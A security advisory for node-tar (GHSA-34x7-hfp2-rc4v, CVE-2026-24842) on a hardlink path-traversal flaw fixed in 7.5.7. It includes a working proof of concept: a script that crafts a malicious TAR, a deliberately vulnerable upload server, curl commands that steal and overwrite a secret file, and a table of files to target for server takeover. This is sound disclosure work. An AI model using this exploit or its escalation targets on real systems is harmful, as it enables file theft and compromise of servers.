node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

Open Source Vulnerabilities GHSA-34x7-hfp2-rc4v

### Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. ### Details The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently: **Security check in `[STRIPABSOLUTEPATH]`:** ```javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { /* block */ } ``` **Hardlink creation in `[HARDLINK]`:** ```javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest); ``` **Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`. - **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**. - **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`. The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape. ### PoC #### Setup Create a new directory with these files: ``` poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here) ``` **package.json** ```json { "dependencies": { "tar": "^7.5.0" } } ``` **secret.txt** (sensitive file outside uploads/) ``` DATABASE_PASSWORD=supersecret123 ``` **server.js** (vulnerable file upload server) ```javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar'); const PORT = 3000; const UPLOAD_DIR = path.join(__dirname, 'uploads'); fs.mkdirSync(UPLOAD_DIR, { recursive: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(`http://localhost:${PORT}`)); ``` **create-malicious-tar.js** (attacker creates exploit TAR) ```javascript const fs = require('fs'); function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; } // Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar'); ``` #### Run ```bash # Setup npm install echo "DATABASE_PASSWORD=supersecret123" > secret.txt # Terminal 1: Start server node server.js # Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload # READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read # Returns: DATABASE_PASSWORD=supersecret123 # WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write # Confirm secret.txt was modified cat secret.txt ``` ### Impact An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables: **Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process. **Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory. ### Remote Code Execution / Server Takeover | Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server | | Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution | | Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login | | Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests | | Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart | | User Creation | `/etc/passwd` (if running as root) | Add new privileged user | ## Data Exfiltration & Corruption 1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations 2. **Read sensitive files** by creating hardlinks that point outside extraction directory 3. **Corrupt databases** and application state 4. **Steal credentials** from config files, `.env`, secrets

Open Source Vulnerabilities CVE-2026-24842

node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.